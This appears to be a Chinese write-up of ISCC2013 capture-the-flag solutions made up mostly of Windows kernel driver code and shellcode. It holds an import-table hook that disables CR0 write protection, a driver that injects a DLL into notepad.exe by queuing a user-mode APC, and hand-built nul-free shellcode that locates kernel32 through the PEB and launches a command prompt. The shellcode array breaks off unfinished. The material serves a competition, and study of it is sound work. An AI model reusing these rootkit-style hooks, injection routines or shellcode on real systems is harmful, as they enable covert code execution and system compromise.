   DWORD GetFunctionRav(IN char* lpFunctionName, IN char* lpFunctionLibrary, OUT DWORD* pThunk, OUT DWORD* pRVA) 
{
	
	HANDLE   hMod;
	IMAGE_IMPORT_DESCRIPTOR * pImportDesc;
	IMAGE_THUNK_DATA* thunk;
	char *pszModName;
	DWORD firstThunkList;
    DWORD ret;
	BOOLEAN isOrdinal;
    BOOLEAN foundIt;
	
	int x=0;
    SIZE_T size=0;
   
	ret=GetImageImportDescriptorPointer(&hMod,&pImportDesc);
	if(ret==0)
	{
       DbgPrint("GetImageImportDescriptorPointer return NULL");
		return 0;
	}
    	
	//遍历IMPORT DIRECTORY TABLE,找到ntoskrnl.exe对应的IMAGE_IMPORT_DESCRIPTOR
	while (pImportDesc->FirstThunk)
	{		
		pszModName = (PSTR) ((PBYTE) hMod + pImportDesc->Name);
		if (_stricmp(pszModName, lpFunctionLibrary) == 0 ) 
		{
			foundIt = TRUE;
            DbgPrint("name:%s\n",pszModName);
			break;
		}
		pImportDesc++;
	}

	if(foundIt==FALSE)
	{
		return 0;
	}

	
	
	//得到ntoskrnl.exe的IMAGE_IMPORT_DESCRIPTOR,就可以其IAT,IAT中就可以找到导出函数了
	
	thunk = (IMAGE_THUNK_DATA*)( (BYTE*)hMod + pImportDesc->OriginalFirstThunk);
    firstThunkList = (DWORD)((PBYTE)hMod + pImportDesc->FirstThunk);
    foundIt = FALSE;
while(thunk->u1.Function)
	{
		
		isOrdinal = 0;
		//IMAGE_THUNK_DATA其实就是一个DWORD,它要么是Ordinal,要么是AddressOfData
		if(thunk->u1.Function >= 0x01000000) isOrdinal = TRUE;
		if(!isOrdinal) // 以名字到处而不是序号
		{
			//IMAGE_IMPORT_BY_NAME
			char* functionName = (char*)( (BYTE*)hMod + (DWORD)thunk->u1.AddressOfData + 2 );
			if (_stricmp(functionName, lpFunctionName) == 0 ) 
			{
				*pThunk = pImportDesc->FirstThunk;
				*pRVA = x;
				DbgPrint("%x",( DWORD *)((PBYTE)hMod +pImportDesc->FirstThunk)+x);
			    ZwClose(hSection);
				return 1;
			}
		}
		if(isOrdinal)
		{
			ZwClose(hSection);
			return (DWORD) NULL;
		}

		x++;
		thunk++;
		firstThunkList++;
	}
	

if(foundIt==FALSE)
	{
		ZwClose(hSection);
		return 0;
	}
	ZwClose(hSection);
	return 0;

}


NTSTATUS 
MyPsGetCurrentProcessId()

{
	DbgPrint("HOOK_PsGetCurrentProcessId called!\n");
	((PSGETCURRENTPROCESSID)(g_OriginalPsGetCurrentProcessId))();
}


VOID Unload(IN PDRIVER_OBJECT DriverObject)
{
	if(NULL == g_FunctionInMemory || NULL == g_OriginalPsGetCurrentProcessId) 
		return;
	_asm
	{
		CLI					
		MOV	EAX, CR0		
		AND EAX, NOT 10000H 
		MOV	CR0, EAX		
	}
	*(PVOID*)g_FunctionInMemory = g_OriginalPsGetCurrentProcessId;
	_asm 
	{
		MOV	EAX, CR0		
		OR	EAX, 10000H		
		MOV	CR0, EAX			
		STI					
	}
}


NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath)
{
	
    DWORD ret = 0;
	DWORD RVA, Thunk;
   
	char functionName[] = "PsGetCurrentProcessId";
	char libraryName[] = "ntoskrnl.exe";
	
	PVOID base = NULL;
    base = GetDriverBaseAdress("ISCC2013Kernel4.sys");
    if(NULL==base)
	{
		DbgPrint("base not found");
		return STATUS_SUCCESS;
	}
	
	
	ret = GetFunctionRav(functionName, libraryName,  &Thunk, &RVA );
	if(0==ret)
	{
		DbgPrint("IATPointerRVA not found");
		return STATUS_SUCCESS;
	}

    g_FunctionInMemory = (DWORD*)( (BYTE*)base + Thunk ) + RVA;
    DbgPrint("the function adress in memory is:%x",g_FunctionInMemory);

	if(NULL==g_FunctionInMemory)
	{
		DbgPrint("IATFunctionPointer not found");
		return STATUS_SUCCESS;
	}

	g_OriginalPsGetCurrentProcessId = *(PVOID*)g_FunctionInMemory;

	
	
	/*_asm
	{
		CLI					
		MOV	EAX, CR0		
		AND EAX, NOT 10000H 
		MOV	CR0, EAX		
	}

	*(PVOID*)g_FunctionInMemory = MyPsGetCurrentProcessId;
    DbgPrint("HOOK SUCESS");
	_asm 
	{
		MOV	EAX, CR0		
		OR	EAX, 10000H			
		MOV	CR0, EAX			
		STI					
	}*/
	if(NULL != g_FunctionInMemory && NULL != g_OriginalPsGetCurrentProcessId){ 
		_asm
		{
			CLI					
			MOV	EAX, CR0		
			AND EAX, NOT 10000H 
			MOV	CR0, EAX		
		}
		*(PVOID*)g_FunctionInMemory = PsGetCurrentProcessId;
		_asm 
		{
			MOV	EAX, CR0		
			OR	EAX, 10000H		
			MOV	CR0, EAX			
			STI					
		}
	}

    DriverObject->DriverUnload = Unload;
	return STATUS_SUCCESS;
}


typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation, // 0 Y N
SystemProcessorInformation, // 1 Y N
SystemPerformanceInformation, // 2 Y N
SystemTimeOfDayInformation, // 3 Y N
SystemNotImplemented1, // 4 Y N
SystemProcessesAndThreadsInformation, // 5 Y N
SystemCallCounts, // 6 Y N
SystemConfigurationInformation, // 7 Y N
SystemProcessorTimes, // 8 Y N
SystemGlobalFlag, // 9 Y Y
SystemNotImplemented2, // 10 Y N
SystemModuleInformation, // 11 Y N
SystemLockInformation, // 12 Y N
SystemNotImplemented3, // 13 Y N
SystemNotImplemented4, // 14 Y N
SystemNotImplemented5, // 15 Y N
SystemHandleInformation, // 16 Y N
SystemObjectInformation, // 17 Y N
SystemPagefileInformation, // 18 Y N
SystemInstructionEmulationCounts, // 19 Y N
SystemInvalidInfoClass1, // 20
SystemCacheInformation, // 21 Y Y
SystemPoolTagInformation, // 22 Y N
SystemProcessorStatistics, // 23 Y N
SystemDpcInformation, // 24 Y Y
SystemNotImplemented6, // 25 Y N
SystemLoadImage, // 26 N Y
SystemUnloadImage, // 27 N Y
SystemTimeAdjustment, // 28 Y Y
SystemNotImplemented7, // 29 Y N
SystemNotImplemented8, // 30 Y N
SystemNotImplemented9, // 31 Y N
SystemCrashDumpInformation, // 32 Y N
SystemExceptionInformation, // 33 Y N
SystemCrashDumpStateInformation, // 34 Y Y/N
SystemKernelDebuggerInformation, // 35 Y N
SystemContextSwitchInformation, // 36 Y N
SystemRegistryQuotaInformation, // 37 Y Y
SystemLoadAndCallImage, // 38 N Y
SystemPrioritySeparation, // 39 N Y
SystemNotImplemented10, // 40 Y N
SystemNotImplemented11, // 41 Y N
SystemInvalidInfoClass2, // 42
SystemInvalidInfoClass3, // 43
SystemTimeZoneInformation, // 44 Y N
SystemLookasideInformation, // 45 Y N
SystemSetTimeSlipEvent, // 46 N Y
SystemCreateSession, // 47 N Y
SystemDeleteSession, // 48 N Y
SystemInvalidInfoClass4, // 49
SystemRangeStartInformation, // 50 Y N
SystemVerifierInformation, // 51 Y Y
SystemAddVerifier, // 52 N Y
SystemSessionProcessesInformation // 53 Y N
} SYSTEM_INFORMATION_CLASS;

NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef unsigned short      			WORD;
typedef unsigned char BYTE;
typedef unsigned long DWORD;

typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
    WORD   e_magic;                     // Magic number
    WORD   e_cblp;                      // Bytes on last page of file
    WORD   e_cp;                        // Pages in file
    WORD   e_crlc;                      // Relocations
    WORD   e_cparhdr;                   // Size of header in paragraphs
    WORD   e_minalloc;                  // Minimum extra paragraphs needed
    WORD   e_maxalloc;                  // Maximum extra paragraphs needed
    WORD   e_ss;                        // Initial (relative) SS value
    WORD   e_sp;                        // Initial SP value
    WORD   e_csum;                      // Checksum
    WORD   e_ip;                        // Initial IP value
    WORD   e_cs;                        // Initial (relative) CS value
    WORD   e_lfarlc;                    // File address of relocation table
    WORD   e_ovno;                      // Overlay number
    WORD   e_res[4];                    // Reserved words
    WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
    WORD   e_oeminfo;                   // OEM information; e_oemid specific
    WORD   e_res2[10];                  // Reserved words
    LONG   e_lfanew;                    // File address of new exe header
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;


typedef struct _IMAGE_DATA_DIRECTORY {
    DWORD   VirtualAddress;
    DWORD   Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES    16

typedef struct _IMAGE_OPTIONAL_HEADER {
    //
    // Standard fields.
    //

    WORD    Magic;
    BYTE    MajorLinkerVersion;
    BYTE    MinorLinkerVersion;
    DWORD   SizeOfCode;
    DWORD   SizeOfInitializedData;
    DWORD   SizeOfUninitializedData;
    DWORD   AddressOfEntryPoint;
    DWORD   BaseOfCode;
    DWORD   BaseOfData;

    //
    // NT additional fields.
    //

    DWORD   ImageBase;
    DWORD   SectionAlignment;
    DWORD   FileAlignment;
    WORD    MajorOperatingSystemVersion;
    WORD    MinorOperatingSystemVersion;
    WORD    MajorImageVersion;
    WORD    MinorImageVersion;
    WORD    MajorSubsystemVersion;
    WORD    MinorSubsystemVersion;
    DWORD   Win32VersionValue;
    DWORD   SizeOfImage;
    DWORD   SizeOfHeaders;
    DWORD   CheckSum;
    WORD    Subsystem;
    WORD    DllCharacteristics;
    DWORD   SizeOfStackReserve;
    DWORD   SizeOfStackCommit;
    DWORD   SizeOfHeapReserve;
    DWORD   SizeOfHeapCommit;
    DWORD   LoaderFlags;
    DWORD   NumberOfRvaAndSizes;
    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

typedef IMAGE_OPTIONAL_HEADER32             IMAGE_OPTIONAL_HEADER;
typedef PIMAGE_OPTIONAL_HEADER32            PIMAGE_OPTIONAL_HEADER;

typedef struct _IMAGE_THUNK_DATA32 {
    union {
        DWORD ForwarderString;      // PBYTE 
        DWORD Function;             // PDWORD
        DWORD Ordinal;
        DWORD AddressOfData;        // PIMAGE_IMPORT_BY_NAME
    } u1;
} IMAGE_THUNK_DATA32;
typedef IMAGE_THUNK_DATA32 * PIMAGE_THUNK_DATA32;
typedef IMAGE_THUNK_DATA32              IMAGE_THUNK_DATA;
typedef PIMAGE_THUNK_DATA32             PIMAGE_THUNK_DATA;

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    union {
        DWORD   Characteristics;            // 0 for terminating null import descriptor
        DWORD   OriginalFirstThunk;         // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
    };
    DWORD   TimeDateStamp;                  // 0 if not bound,
                                            // -1 if bound, and real date\time stamp
                                            //     in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
                                            // O.W. date/time stamp of DLL bound to (Old BIND)

    DWORD   ForwarderChain;                 // -1 if no forwarders
    DWORD   Name;
    DWORD   FirstThunk;                     // RVA to IAT (if bound this IAT has actual addresses)
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;


#define IMAGE_DIRECTORY_ENTRY_IMPORT          1   // Import Directory

typedef unsigned char *PBYTE;

typedef struct _GENERATE_NAME_CONTEXT {
    USHORT  Checksum;
    BOOLEAN CheckSumInserted;
    UCHAR   NameLength;
    WCHAR   NameBuffer[8];
    ULONG   ExtensionLength;
    WCHAR   ExtensionBuffer[4];
    ULONG   LastIndexValue;
} GENERATE_NAME_CONTEXT, *PGENERATE_NAME_CONTEXT;


typedef struct _IMAGE_FILE_HEADER {
    WORD    Machine;
    WORD    NumberOfSections;
    DWORD   TimeDateStamp;
    DWORD   PointerToSymbolTable;
    DWORD   NumberOfSymbols;
    WORD    SizeOfOptionalHeader;
    WORD    Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

#define SEC_IMAGE	0x01000000
#define SEC_BASED 0x00200000
typedef struct _SECTION_IMAGE_INFORMATION {
  PVOID                   EntryPoint;
  ULONG                   StackZeroBits;
  ULONG                   StackReserved;
  ULONG                   StackCommit;
  ULONG                   ImageSubsystem;
  WORD                    SubsystemVersionLow;
  WORD                    SubsystemVersionHigh;
  ULONG                   Unknown1;
  ULONG                   ImageCharacteristics;
  ULONG                   ImageMachineType;
  ULONG                   Unknown2[3];
} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;


NTSYSAPI
NTSTATUS
NTAPI
  ZwCreateSection(
    OUT PHANDLE  SectionHandle,
    IN ACCESS_MASK  DesiredAccess,
    IN POBJECT_ATTRIBUTES  ObjectAttributes OPTIONAL,
    IN PLARGE_INTEGER  MaximumSize OPTIONAL,
    IN ULONG  SectionPageProtection,
    IN ULONG  AllocationAttributes,
    IN HANDLE  FileHandle OPTIONAL
    ); 


进程注入

思路是PsSetLoadImageNotifyRoutine回调函数,枚举所有进程再加上PAC注入。

#include <ntddk.h>

#define MAX_PID 65535
/////////////////////////////////////////////////////////////////////////////////////////////////////////
NTSTATUS 
InstallUserModeApc(LPSTR DllFullPath, ULONG pTargetThread, ULONG pTargetProcess);
void ApcCreateProcessEnd();
void ApcCreateProcess(PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2);

typedef enum
{
    OriginalApcEnvironment,
AttachedApcEnvironment,
CurrentApcEnvironment
} KAPC_ENVIRONMENT;

typedef struct _KAPC_STATE {
    LIST_ENTRY ApcListHead[MaximumMode];
    struct _KPROCESS *Process;
    BOOLEAN KernelApcInProgress;
    BOOLEAN KernelApcPending;
    BOOLEAN UserApcPending;
} KAPC_STATE, *PKAPC_STATE, *PRKAPC_STATE;


VOID
KeInitializeApc (
         PKAPC Apc,
         PETHREAD Thread,
         KAPC_ENVIRONMENT Environment,
         PKKERNEL_ROUTINE KernelRoutine,
         PKRUNDOWN_ROUTINE RundownRoutine,
         PKNORMAL_ROUTINE NormalRoutine,
         KPROCESSOR_MODE ProcessorMode,
         PVOID NormalContext
         );

BOOLEAN
KeInsertQueueApc (
         PKAPC Apc,
         PVOID SystemArgument1,
         PVOID SystemArgument2,
         KPRIORITY Increment
         );


NTSTATUS
PsLookupProcessByProcessId(
    HANDLE ProcessId,
    PEPROCESS *Process
    );

UCHAR *
PsGetProcessImageFileName(
    PEPROCESS Process
    );
VOID
KeStackAttachProcess (
    IN PVOID Process,
    OUT PRKAPC_STATE ApcState
    );
VOID
KeUnstackDetachProcess(
    IN PRKAPC_STATE ApcState
    );
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////


//=======================================================================================//
// InjectDll遍历进程,得到根据名字找到我们想要注入的进程,得到进程后遍历线程.找受信??线程序//
//注意这里ETHREAD我是用XP..在其他操作系统可能一些偏移不同                               //
//======================================================================================//
			
void InjectDll(LPSTR DllFullPath,ULONG pid)
{
//全部定义为ULONG类型
ULONG pTargetProcess;    
ULONG pTargetThread;     
ULONG pNotAlertableThread; 
ULONG pSystemProcess;    
ULONG pTempThread;
ULONG pNextEntry, pListHead, pThNextEntry,pThListHead; 
PEPROCESS EProcess;
NTSTATUS status;
    
    status = PsLookupProcessByProcessId((HANDLE)pid,&EProcess);
    if((NT_SUCCESS(status)))
    {
        pSystemProcess=(ULONG)EProcess;
		pTargetProcess =pSystemProcess; 
		pTargetThread = pNotAlertableThread = 0;
        pThListHead = pSystemProcess+0x50;
        pThNextEntry=*(ULONG *)pThListHead;

        while(pThNextEntry != pThListHead)
        {
        pTempThread =pThNextEntry-0x1b0; //ETHREAD
        if(*(char *)(pTempThread+0x164)) //受信??
        {
         pTargetThread =pTempThread;
         break;
        }
        else
        {
         pNotAlertableThread =pTempThread;
        }
      
        pThNextEntry = *(ULONG *)pThNextEntry; 
       break; 
      }
    
}

if(!pTargetProcess)
   return;

if(!pTargetThread)
   pTargetThread = pNotAlertableThread;

if(pTargetThread)
{
   InstallUserModeApc(DllFullPath,pTargetThread,pTargetProcess);
}
else
   DbgPrint(" No thread found!"); 
}
static HANDLE oldPid;
static HANDLE newPid;

VOID Work (
			 PUNICODE_STRING  FullImageName,
			 HANDLE  ProcessId, // where image is mapped
			 PIMAGE_INFO  ImageInfo
			)
{
	PEPROCESS EProcess;
	char *FileName = NULL; 
 	PsLookupProcessByProcessId((HANDLE)ProcessId, &EProcess);
 	FileName = (char *)PsGetProcessImageFileName(EProcess);
 	 
 	
	if((strcmp(FileName, "notepad.exe") == 0) || (strcmp(FileName, "notepad") == 0)) 
	{  
		newPid = ProcessId;
		KdPrint(("old pid is %d. ", oldPid)); 
		if(oldPid != newPid)
		{
			oldPid = newPid;   
			KdPrint(("%d %s\n", newPid,FileName));
			InjectDll("c:\\InjectDLL.dll",(ULONG)ProcessId ); 
		}
	}		
			
}

//释放InstallUserModeApc中分配的内存,一个内核例程
PMDL pMdl = NULL;
void ApcKernelRoutine( IN struct _KAPC *Apc, 
        IN OUT PKNORMAL_ROUTINE *NormalRoutine, 
        IN OUT PVOID *NormalContext, 
        IN OUT PVOID *SystemArgument1, 
        IN OUT PVOID *SystemArgument2 ) 
{

if (Apc)
   ExFreePool(Apc);
if(pMdl)
{
   MmUnlockPages(pMdl);
   IoFreeMdl (pMdl);
   pMdl = NULL;
}
DbgPrint("ApcKernelRoutine called. Memory freed.");
}

//安装APC,首先是把我们要在用户执行的代码映射带用户态的空间MmMapLockedPagesSpecifyCache 
//因为loadlibrary所要用到的参数我们不可能直接用内核的数据....因为它只能在用户态执行,不能访问内核空间,所以我们要把参数做下处理
// memset ((unsigned char*)pMappedAddress + 0x14, 0, 300);
// memcpy ((unsigned char*)pMappedAddress + 0x14, DllFullPath,strlen ( DllFullPath));
// data_addr = (ULONG*)((char*)pMappedAddress+0x9); 
// *data_addr = dwMappedAddress+0x14;

NTSTATUS 
InstallUserModeApc(LPSTR DllFullPath, ULONG pTargetThread, ULONG pTargetProcess)
{
PRKAPC pApc = NULL; 

PVOID pMappedAddress = NULL; 
ULONG dwSize = 0;
KAPC_STATE ApcState; 

ULONG *data_addr=0; 
ULONG dwMappedAddress = 0; 
NTSTATUS Status = STATUS_UNSUCCESSFUL;

if (!pTargetThread || !pTargetProcess)
   return STATUS_UNSUCCESSFUL;
/////////////////////////////////////////////////////////////////////////////////////////////////////////// 
pApc = ExAllocatePool (NonPagedPool,sizeof (KAPC)); 
if (!pApc)
{
   DbgPrint("Failed to allocate memory for the APC structure");
   return STATUS_INSUFFICIENT_RESOURCES;
}


dwSize = (unsigned char*)ApcCreateProcessEnd-(unsigned char*)ApcCreateProcess;

pMdl = IoAllocateMdl (ApcCreateProcess, dwSize, FALSE,FALSE,NULL);
if (!pMdl)
{
   DbgPrint(" Failed to allocate MDL");
   ExFreePool (pApc);
   return STATUS_INSUFFICIENT_RESOURCES;
}

__try
{
  
   MmProbeAndLockPages (pMdl,KernelMode,IoWriteAccess);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
   DbgPrint("Exception during MmProbeAndLockPages");
   IoFreeMdl (pMdl);
   ExFreePool (pApc);
   return STATUS_UNSUCCESSFUL;
}


KeStackAttachProcess((ULONG *)pTargetProcess,&ApcState);//进入目标进程的上下文


pMappedAddress = MmMapLockedPagesSpecifyCache (pMdl,UserMode,MmCached,NULL,FALSE,NormalPagePriority);

if (!pMappedAddress)
{
   DbgPrint("Cannot map address");
   KeUnstackDetachProcess (&ApcState);
   IoFreeMdl (pMdl);
   ExFreePool (pApc);

   return STATUS_UNSUCCESSFUL;
}
else 
   DbgPrint("UserMode memory at address: 0x%p",pMappedAddress);

dwMappedAddress = (ULONG)pMappedAddress;
/////////////////////////////////////////////////////////////
//0x14注意后面的ApcCreateProcess..有改其他函数的话这俩个地方都注意下
memset ((unsigned char*)pMappedAddress + 0x14, 0, 300);//zero everything out ecxept our assembler code
    memcpy ((unsigned char*)pMappedAddress + 0x14, DllFullPath,strlen ( DllFullPath)); //copy the path to the executable

data_addr = (ULONG*)((char*)pMappedAddress+0x9); 
*data_addr = dwMappedAddress+0x14; 


KeUnstackDetachProcess (&ApcState);
//初始化APC,插APC
KeInitializeApc(pApc,
              (PETHREAD)pTargetThread,
      OriginalApcEnvironment,
      &ApcKernelRoutine,
      NULL,
      pMappedAddress,
      UserMode,
      (PVOID) NULL);
if (!KeInsertQueueApc(pApc,0,NULL,0))
{
   DbgPrint("KernelExec -> Failed to insert APC");
   MmUnlockPages(pMdl);
   IoFreeMdl (pMdl);
   ExFreePool (pApc);
   return STATUS_UNSUCCESSFUL;
}
else
{
   DbgPrint("APC delivered");
}
//使线程处于警告状态,注意不同操作系统的ETHREAD
if(!*(char *)(pTargetThread+0x4a))
{
  
   *(char *)(pTargetThread+0x4a) = TRUE;
}

return 0;
}


__declspec(naked) void ApcCreateProcess(PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2)
{
    __asm 
    { //我的机器的loadlibrary的地址
   mov eax,0x7C801d77
     nop//-------sysnap注:这些nop是保证前面 memset ((unsigned char*)pMappedAddress + 0x14, 0, 300);之类的正常:
     //如果改成执行其他函数,注意这些NOP与前面的0x14之类的是否对应
   nop
   nop
   push 0xabcd //因为用户程序无法访问内核空间,所以路径不能直接引用lpProcess
   call eax
   jmp end         
  
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
end:
   nop
   ret 0x0c
    }

}
void ApcCreateProcessEnd(){}


VOID Unload(PDRIVER_OBJECT DriverObject)
{
    
DbgPrint("Driver Unloaded");
}


NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING pRegistryPath)
{
//InjectDll("c:\\InjectDLL.dll",0);
DbgPrint("Driver Entry");
PsSetLoadImageNotifyRoutine(Work);
DriverObject->DriverUnload = Unload; 
return STATUS_SUCCESS;
}


空壳

不会··呜呜呜····

3600

不会··呜呜呜····

扩展adore-ng

不会··呜呜呜····

溢出题

开一个DOS窗口

这题需要写一个通用的shellcode,并且不能包含00,需要动态搜索kernel32.dll的基址

一切语言都是苍白无力的,还是上图来得实在。

关于ISCC2013的思路整理_第1张图片


关于ISCC2013的思路整理_第2张图片

这里的PEB是 Process Environment Block   TEB 是Thread Environment Block

其中PEB中的成员LDR_DATA包含3个指针,这三个指针其实只想同一条链表,使用不同指针的时候偏移不同。

看了上面的图,应该就有大致思路了,来看寻找kernel32模块的一下汇编代码。

find_kernel32:
    push esi
    xor ecx, ecx
    mov esi, [fs:ecx+0x30]    //PEB = FS:0x30
    mov esi, [esi + 0x0c]     //LDR = PEB:0x0c
    mov esi, [esi + 0x1c]     //FLink = LDR:0x1c
next_module:
    mov eax, [esi + 0x8]     //函数返回时eax保存模块基址
    mov edi,[esi+0x20]       //指向BaseDllName
    mov esi ,[esi]           //这里是转移到链表的下一个
    cmp [edi+12*2],cx        //kernel32.dll 12*2个字节最后一位正好是00
    jne next_module
    pop esi
    Ret

这里是补全后的汇编代码

__asm{
    find_kernel32:
        push ecx
        push esi
        push edi
        xor ecx, ecx
        mov esi, fs:[ecx+0x30]
        mov esi, [esi + 0x0c]
        mov esi, [esi + 0x1c]
    next_module:
        mov eax, [esi + 0x8]
        mov edi,[esi+0x20]
        mov esi ,[esi]
        cmp [edi+12*2],cx
        jne next_module
        pop edi
        pop esi
        pop ecx
        mov ebx,eax

        //LoadLibrary("msvcrt.dll");
        push    ebp
        mov     ebp,esp
        xor        eax,eax
        sub        esp,0ch
 
        mov        byte ptr[ebp-0Ch],6Dh        //m
        mov        byte ptr[ebp-0Bh],73h        //s
        mov        byte ptr[ebp-0Ah],76h        //v
        mov        byte ptr[ebp-09h],63h        //c
        mov        byte ptr[ebp-08h],72h        //r
        mov        byte ptr[ebp-07h],74h        //t
        mov        byte ptr[ebp-06h],2Eh        //.
        mov        byte ptr[ebp-05h],64h        //d
        mov        byte ptr[ebp-04h],6Ch        //l
        mov        byte ptr[ebp-03h],6Ch        //l
        mov           byte ptr[ebp-02h],0h
        lea        esi,[ebp-0Ch]
         
        push       esi
        mov        eax,ebx
        add        eax,1d7bh        //得到LoadLibraryw地址
        call       eax
        
        mov esp,ebp
        pop ebp
        mov    ebx,eax                //MSCCRT.dll句柄(地址)在ecx中

        // system(start cmd );
         push        ebp
         mov        ebp,esp
         xor        eax,eax
         sub        esp,0ch
         
         mov        byte ptr[ebp-0Ch],73h        //s
         mov        byte ptr[ebp-0Bh],74h        //t
         mov        byte ptr[ebp-0Ah],61h        //a
         mov        byte ptr[ebp-09h],72h        //r
         mov        byte ptr[ebp-08h],74h        //t
         mov        byte ptr[ebp-07h],20h        //
         mov        byte ptr[ebp-06h],63h        //c
         mov        byte ptr[ebp-05h],6Dh        //m
         mov        byte ptr[ebp-04h],64h        //d
         mov        byte ptr[ebp-03h],0h
         lea        esi,[ebp-0Ch]
 
         push    esi
         mov     eax,ebx
         add     eax,193c7h
         call    eax
         mov esp,ebp
         pop ebp

    }

转换成机器码后发现其中包含很多00,这里使用加加减减的原则给它吧00都去掉

其中mov         byte ptr [ebp-2],0 换成 mov  [ebp-2],cl   代码中cl恒为零

unsigned char shellcode[] = {
"\x51\x56\x57\x33\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x46\x08\x8B\x7E\x20\x8B\x36\x66\x39\x4F\x18\x75"
"\xF2\x5F\x5E\x59\x8B\xD8\x55\x8B\xEC\x33\xC0\x83\xEC\x0C\xC6\x45\xF4\x6D\xC6\x45\xF5\x73\xC6\x45\xF6\x76\xC6\x45"
"\xF7\x63\xC6\x45\xF8\x72\xC6\x45\xF9\x74\xC6\x45\xFA\x2E\xC6\x45\xFB\x64\xC6\x45\xFC\x6C\xC6\x45\xFD\x6C"
//"\xC6\x45\xFE\x00"
"\x88\x4D\xFE"
"\x8D\x75\xF4\x56\x8B\xC3"
"\x05\x7C\x1E\x01\x01\x2D\x01\x01\x01\x01"  //sub eax , 01010101
"\xFF\xD0\x8B\xE5\x5D\x8B\xD8\x55\x8B\xEC\x33\xC0\x83\xEC\x0C"
